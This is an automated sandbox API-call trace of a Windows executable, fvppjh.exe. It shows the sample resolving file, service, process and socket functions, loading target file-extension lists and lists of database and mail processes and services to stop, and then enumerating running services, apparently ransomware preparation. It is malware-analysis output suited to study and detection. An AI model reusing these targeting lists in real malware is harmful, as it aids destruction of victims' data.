# Flog Txt Version 1
# Analyzer Version: 3.2.2
# Analyzer Build Date: Mar  3 2020 14:14:30
# Log Creation Date: 06.03.2020 23:39:25.019

Process:
	id = "1"
	image_name = "fvppjh.exe"
	filename = "c:\\users\\fd1hvy\\desktop\\fvppjh.exe"
	page_root = "0x15445000"
	os_pid = "0x13a0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x560"
	cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\fvppjh.exe\" "
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0x13a4

	[0041.803] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x772d0000
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="GetProcAddress") returned 0x772e51b0
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="GetModuleHandleW") returned 0x772e50d0
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="FindNextFileW") returned 0x7733ee40
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="FindClose") returned 0x7733ed70
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="MoveFileW") returned 0x7731e500
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="GetFileSizeEx") returned 0x7733ef40
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="GetModuleFileNameW") returned 0x772e5090
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="GetFileAttributesW") returned 0x7733ef10
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="ExitProcess") returned 0x772e3cb0
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="GetCommandLineW") returned 0x772e4cc0
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="GetComputerNameW") returned 0x773132c0
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="GetComputerNameA") returned 0x77313780
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="CreateMutexW") returned 0x7733eb70
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="lstrlenW") returned 0x772e6c70
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="lstrlenA") returned 0x772e6c50
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="GetCurrentProcess") returned 0x7733ea10
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="WaitForSingleObject") returned 0x7733eca0
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="GetLogicalDrives") returned 0x772e0d20
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="GetTickCount") returned 0x7733dd50
	[0041.804] GetProcAddress (hModule=0x772d0000, lpProcName="DeleteFileW") returned 0x7733ed40
	[0041.830] GetProcAddress (hModule=0x772d0000, lpProcName="WideCharToMultiByte") returned 0x772e6b10
	[0041.830] GetProcAddress (hModule=0x772d0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7733ebb0
	[0041.830] GetProcAddress (hModule=0x772d0000, lpProcName="Sleep") returned 0x772e6760
	[0041.830] GetProcAddress (hModule=0x772d0000, lpProcName="LeaveCriticalSection") returned 0x779bb250
	[0041.830] GetProcAddress (hModule=0x772d0000, lpProcName="ReadFile") returned 0x7733f090
	[0041.830] GetProcAddress (hModule=0x772d0000, lpProcName="CreateFileW") returned 0x7733ed10
	[0041.830] GetProcAddress (hModule=0x772d0000, lpProcName="OpenMutexW") returned 0x7733ebf0
	[0041.830] GetProcAddress (hModule=0x772d0000, lpProcName="EnterCriticalSection") returned 0x779bb2d0
	[0041.830] GetProcAddress (hModule=0x772d0000, lpProcName="WaitForMultipleObjects") returned 0x7733ec80
	[0041.830] GetProcAddress (hModule=0x772d0000, lpProcName="lstrcmpiW") returned 0x772e6bf0
	[0041.830] GetProcAddress (hModule=0x772d0000, lpProcName="lstrcmpiA") returned 0x772e6bd0
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="DeleteCriticalSection") returned 0x7799fb90
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="ReleaseMutex") returned 0x7733ec20
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="CloseHandle") returned 0x7733eab0
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="GetVersion") returned 0x772e56c0
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="CreateThread") returned 0x772e46b0
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="ExpandEnvironmentStringsW") returned 0x772e4a40
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="QueryPerformanceCounter") returned 0x772e5da0
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="QueryPerformanceFrequency") returned 0x772e5dc0
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="GetCurrentProcessId") returned 0x7733ea20
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="SetFileAttributesW") returned 0x7733f100
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="GetVolumeInformationW") returned 0x7733f020
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="WriteFile") returned 0x7733f180
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="SetFilePointerEx") returned 0x7733f130
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="SetEndOfFile") returned 0x7733f0e0
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="FindFirstFileW") returned 0x7733edf0
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="GetProcessHeap") returned 0x772e51f0
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="HeapReAlloc") returned 0x779af630
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="HeapAlloc") returned 0x779b2dc0
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="HeapFree") returned 0x772e57f0
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="CreatePipe") returned 0x772e4590
	[0041.831] GetProcAddress (hModule=0x772d0000, lpProcName="SetHandleInformation") returned 0x7733eae0
	[0041.832] GetProcAddress (hModule=0x772d0000, lpProcName="CreateProcessW") returned 0x772e4610
	[0041.832] GetProcAddress (hModule=0x772d0000, lpProcName="CompareStringW") returned 0x772e4430
	[0041.832] GetProcAddress (hModule=0x772d0000, lpProcName="CompareStringA") returned 0x772e4410
	[0041.832] GetProcAddress (hModule=0x772d0000, lpProcName="OpenProcess") returned 0x772e5cc0
	[0041.832] GetProcAddress (hModule=0x772d0000, lpProcName="TerminateProcess") returned 0x772e67e0
	[0041.832] GetProcAddress (hModule=0x772d0000, lpProcName="GetSystemTime") returned 0x772e54e0
	[0041.832] GetProcAddress (hModule=0x772d0000, lpProcName="SystemTimeToFileTime") returned 0x772e67a0
	[0041.832] GetProcAddress (hModule=0x772d0000, lpProcName="GetLastError") returned 0x772e5010
	[0041.832] GetProcAddress (hModule=0x772d0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7731edc0
	[0041.832] GetProcAddress (hModule=0x772d0000, lpProcName="Process32NextW") returned 0x7731f8f0
	[0041.832] GetProcAddress (hModule=0x772d0000, lpProcName="Process32FirstW") returned 0x7731f750
	[0041.832] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x756e0000
	[0044.464] GetProcAddress (hModule=0x756e0000, lpProcName="RegOpenKeyExW") returned 0x756fe580
	[0044.465] GetProcAddress (hModule=0x756e0000, lpProcName="RegQueryValueExW") returned 0x756fe5a0
	[0044.465] GetProcAddress (hModule=0x756e0000, lpProcName="RegSetValueExW") returned 0x756ff530
	[0044.465] GetProcAddress (hModule=0x756e0000, lpProcName="RegCloseKey") returned 0x756fed60
	[0044.465] GetProcAddress (hModule=0x756e0000, lpProcName="OpenProcessToken") returned 0x756fefb0
	[0044.465] GetProcAddress (hModule=0x756e0000, lpProcName="GetTokenInformation") returned 0x756fee90
	[0044.465] GetProcAddress (hModule=0x756e0000, lpProcName="OpenSCManagerW") returned 0x75700540
	[0044.465] GetProcAddress (hModule=0x756e0000, lpProcName="OpenServiceW") returned 0x756ffa20
	[0044.465] GetProcAddress (hModule=0x756e0000, lpProcName="CloseServiceHandle") returned 0x756ffc00
	[0044.465] GetProcAddress (hModule=0x756e0000, lpProcName="ControlService") returned 0x757126d0
	[0044.465] GetProcAddress (hModule=0x756e0000, lpProcName="QueryServiceStatus") returned 0x75702380
	[0044.465] GetProcAddress (hModule=0x756e0000, lpProcName="EnumDependentServicesW") returned 0x75712f70
	[0044.466] GetProcAddress (hModule=0x756e0000, lpProcName="EnumServicesStatusExW") returned 0x756ffc80
	[0044.466] LoadLibraryA (lpLibFileName="user32.dll") returned 0x750c0000
	[0048.755] GetProcAddress (hModule=0x750c0000, lpProcName="SystemParametersInfoW") returned 0x750ef210
	[0048.755] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75760000
	[0055.247] GetProcAddress (hModule=0x75760000, lpProcName="ShellExecuteExW") returned 0x758c4730
	[0055.247] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77970000
	[0055.247] GetProcAddress (hModule=0x77970000, lpProcName="NtQuerySystemInformation") returned 0x779e2070
	[0055.247] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x742c0000
	[0055.490] GetProcAddress (hModule=0x742c0000, lpProcName="WNetCloseEnum") returned 0x742c2640
	[0055.490] GetProcAddress (hModule=0x742c0000, lpProcName="WNetOpenEnumW") returned 0x742c2790
	[0055.490] GetProcAddress (hModule=0x742c0000, lpProcName="WNetEnumResourceW") returned 0x742c2410
	[0055.490] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x754f0000
	[0055.993] GetProcAddress (hModule=0x754f0000, lpProcName="WSAStartup") returned 0x754f5b40
	[0055.993] GetProcAddress (hModule=0x754f0000, lpProcName="socket") returned 0x75504510
	[0055.993] GetProcAddress (hModule=0x754f0000, lpProcName="send") returned 0x754f5030
	[0055.993] GetProcAddress (hModule=0x754f0000, lpProcName="recv") returned 0x75500c50
	[0055.993] GetProcAddress (hModule=0x754f0000, lpProcName="connect") returned 0x754f5410
	[0055.993] GetProcAddress (hModule=0x754f0000, lpProcName="closesocket") returned 0x75500910
	[0055.993] GetProcAddress (hModule=0x754f0000, lpProcName="gethostbyname") returned 0x75526cb0
	[0055.993] GetProcAddress (hModule=0x754f0000, lpProcName="inet_addr") returned 0x75509160
	[0055.993] GetProcAddress (hModule=0x754f0000, lpProcName="ntohl") returned 0x754f49d0
	[0055.993] GetProcAddress (hModule=0x754f0000, lpProcName="htonl") returned 0x754f49d0
	[0055.993] GetProcAddress (hModule=0x754f0000, lpProcName="htons") returned 0x75508ff0
	[0055.993] GetProcessHeap () returned 0x720000
	[0055.994] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x72ace8
	[0055.994] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=15174343672) returned 1
	[0055.994] GetTickCount () returned 0x114f917
	[0055.994] GetCurrentProcessId () returned 0x13a0
	[0055.995] GetTickCount () returned 0x114f917
	[0055.995] GetTickCount () returned 0x114f917
	[0055.995] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x72ad10
	[0055.995] GetVersion () returned 0x23f00206
	[0055.995] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x7) returned 0x736d50
	[0055.995] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7374b8
	[0055.995] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7374b8, Size=0x20) returned 0x72aef0
	[0055.995] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x72aef0, Size=0x40) returned 0x73a390
	[0055.995] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x73e760
	[0055.995] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_128NW7A") returned 0x0
	[0055.996] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_128NW7A") returned 0x1ec
	[0055.996] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x736d50 | out: hHeap=0x720000) returned 1
	[0055.996] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0055.996] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x73a390 | out: hHeap=0x720000) returned 1
	[0055.996] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x7) returned 0x736ea0
	[0055.996] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7374b8
	[0055.996] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7374b8, Size=0x20) returned 0x72aef0
	[0055.996] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x72aef0, Size=0x40) returned 0x73a3d8
	[0055.996] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x74e768
	[0055.996] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_128NW7U") returned 0x0
	[0055.996] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_128NW7U") returned 0x1f0
	[0055.996] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x736ea0 | out: hHeap=0x720000) returned 1
	[0055.996] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0055.996] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x73a3d8 | out: hHeap=0x720000) returned 1
	[0055.996] GetVersion () returned 0x23f00206
	[0055.996] GetCurrentProcess () returned 0xffffffff
	[0055.996] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0055.997] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0055.997] CloseHandle (hObject=0x1f4) returned 1
	[0055.997] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0
	[0055.997] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0
	[0055.997] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x14) returned 0x735230
	[0055.997] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x737668
	[0055.997] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x737668, Size=0x20) returned 0x72aef0
	[0055.997] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x72aef0, Size=0x40) returned 0x73a150
	[0055.997] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a150, Size=0x80) returned 0x7323b8
	[0055.997] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7323b8, Size=0x100) returned 0x737358
	[0055.997] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x34) returned 0x739358
	[0055.997] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x4) returned 0x736da0
	[0055.997] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x4) returned 0x736ea0
	[0055.997] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x736db0
	[0055.997] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x7374b8
	[0055.997] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x4) returned 0x736ce0
	[0055.997] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x737548
	[0055.997] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x736ce0, Size=0x8) returned 0x736d00
	[0055.997] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x737710
	[0055.997] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x736d00, Size=0x10) returned 0x737668
	[0055.997] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7374e8
	[0055.997] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x737728
	[0055.997] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x737668, Size=0x20) returned 0x72aef0
	[0055.997] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x737518
	[0055.997] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x737530
	[0055.997] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x736da0, Size=0x8) returned 0x736ce0
	[0055.997] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x736ea0, Size=0x8) returned 0x736d00
	[0055.997] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x736ea0
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x737668
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x4) returned 0x736d20
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x737740
	[0055.998] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x736d20, Size=0x8) returned 0x736d50
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x737860
	[0055.998] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x736d50, Size=0x10) returned 0x737818
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7377e8
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x736d20
	[0055.998] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x737818, Size=0x20) returned 0x75eef8
	[0055.998] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x736ce0, Size=0x10) returned 0x737878
	[0055.998] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x736d00, Size=0x10) returned 0x7377d0
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x736ce0
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x737848
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x4) returned 0x736d00
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x737830
	[0055.998] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x736d00, Size=0x8) returned 0x736d70
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x736d00
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x7377b8
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x4) returned 0x736d50
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x737800
	[0055.998] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x736d50, Size=0x8) returned 0x736d80
	[0055.998] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x737878, Size=0x20) returned 0x75ed68
	[0055.998] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7377d0, Size=0x20) returned 0x75ede0
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x736d50
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x737878
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x4) returned 0x736d90
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7377d0
	[0055.998] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x736d90, Size=0x8) returned 0x736da0
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x14) returned 0x735110
	[0055.998] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x14) returned 0x7352d0
	[0055.999] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0055.999] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x737358 | out: hHeap=0x720000) returned 1
	[0055.999] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0
	[0056.003] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x737818
	[0056.003] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x737818, Size=0x20) returned 0x75ed40
	[0056.003] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ed40, Size=0x40) returned 0x739fa0
	[0056.003] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x739fa0, Size=0x80) returned 0x737d68
	[0056.003] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x737d68, Size=0x100) returned 0x737358
	[0056.004] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x737818
	[0056.004] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x737818, Size=0x20) returned 0x75ed18
	[0056.004] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ed18, Size=0x40) returned 0x73a078
	[0056.004] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a078, Size=0x80) returned 0x7642f8
	[0056.004] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7642f8, Size=0x100) returned 0x765030
	[0056.004] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x737818
	[0056.004] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x4) returned 0x7633f0
	[0056.004] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765378
	[0056.004] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7633f0, Size=0x8) returned 0x7634f0
	[0056.004] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x14) returned 0x735130
	[0056.004] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7634f0, Size=0x10) returned 0x765228
	[0056.004] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x18) returned 0x7352f0
	[0056.004] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1a) returned 0x75ef20
	[0056.004] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765228, Size=0x20) returned 0x75ed90
	[0056.005] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1c) returned 0x75edb8
	[0056.005] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x16) returned 0x735170
	[0056.005] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1a) returned 0x75ecf0
	[0056.005] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x765270
	[0056.005] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x4) returned 0x763440
	[0056.005] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40) returned 0x73a4f8
	[0056.005] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763440, Size=0x8) returned 0x7633e0
	[0056.005] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x3c) returned 0x73a390
	[0056.005] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7633e0, Size=0x10) returned 0x765240
	[0056.006] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x14) returned 0x735290
	[0056.006] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x18) returned 0x735330
	[0056.006] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765240, Size=0x20) returned 0x75ee08
	[0056.006] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x24) returned 0x736198
	[0056.006] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0056.006] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x737358 | out: hHeap=0x720000) returned 1
	[0056.006] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0056.006] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x765030 | out: hHeap=0x720000) returned 1
	[0056.006] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75ecc8
	[0056.010] EnumServicesStatusExW (in: hSCManager=0x75ecc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0
	[0056.014] GetLastError () returned 0xea
	[0056.014] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1ce8) returned 0x767728
	[0056.014] EnumServicesStatusExW (in: hSCManager=0x75ecc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x767728, cbBufSize=0x1ce8, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x767728, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1
	[0056.015] CloseServiceHandle (hSCObject=0x75ecc8) returned 1
	[0056.016] lstrlenW (lpString="Appinfo") returned 7
	[0056.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0056.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0056.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0056.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0056.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0056.019] lstrlenW (lpString="AppXSvc") returned 7
	[0056.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0056.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0056.019] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0056.019] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0056.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0056.019] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0056.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0056.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0056.019] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0056.019] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0056.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0056.019] lstrlenW (lpString="Audiosrv") returned 8
	[0056.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0056.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0056.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0056.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0056.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0056.019] lstrlenW (lpString="BFE") returned 3
	[0056.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0056.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0056.019] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
